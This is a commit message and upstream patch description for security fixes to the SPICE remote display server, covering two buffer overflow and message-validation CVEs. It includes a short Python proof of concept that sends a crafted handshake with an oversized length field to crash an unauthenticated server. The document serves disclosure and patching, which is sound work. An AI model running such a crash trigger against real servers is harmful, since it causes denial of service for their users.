Fixes the following security issues: CVE-2016-9577 Frediano Ziglio of Red Hat discovered a buffer overflow vulnerability in the main_channel_alloc_msg_rcv_buf function. An authenticated attacker can take advantage of this flaw to cause a denial of service (spice server crash), or possibly, execute arbitrary code. CVE-2016-9578 Frediano Ziglio of Red Hat discovered that spice does not properly validate incoming messages. An attacker able to connect to the spice server could send crafted messages which would cause the process to crash. Signed-off-by: Peter Korsgaard <peter@korsgaard.com> Reviewed-by: "Yann E.

Subject: [PATCH] Prevent possible DoS attempts during protocol handshake
|
|
|
|
The limit for link message is specified using a 32 bit unsigned integer.
|
|
This could cause possible DoS due to excessive memory allocations and
|
|
some possible crashes.
|
|
For instance a value >= 2^31 causes a spice_assert to be triggered in
|
|
async_read_handler (reds-stream.c) due to an integer overflow at this
|
|
line:
|
|
|
|
int n = async->end - async->now;
|
|
|
|
This could be easily triggered with a program like
|
|
|
|
#!/usr/bin/env python
|
|
|
|
import socket
|
|
import time
|
|
from struct import pack
|
|
|
|
server = '127.0.0.1'
|
|
port = 5900
|
|
|
|
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
|
s.connect((server, port))
|
|
data = pack('<4sIII', 'REDQ', 2, 2, 0xaaaaaaaa)
|
|
s.send(data)
|
|
|
|
time.sleep(1)
|
|
|
|
without requiring any authentication (the same can be done
|
|
with TLS).
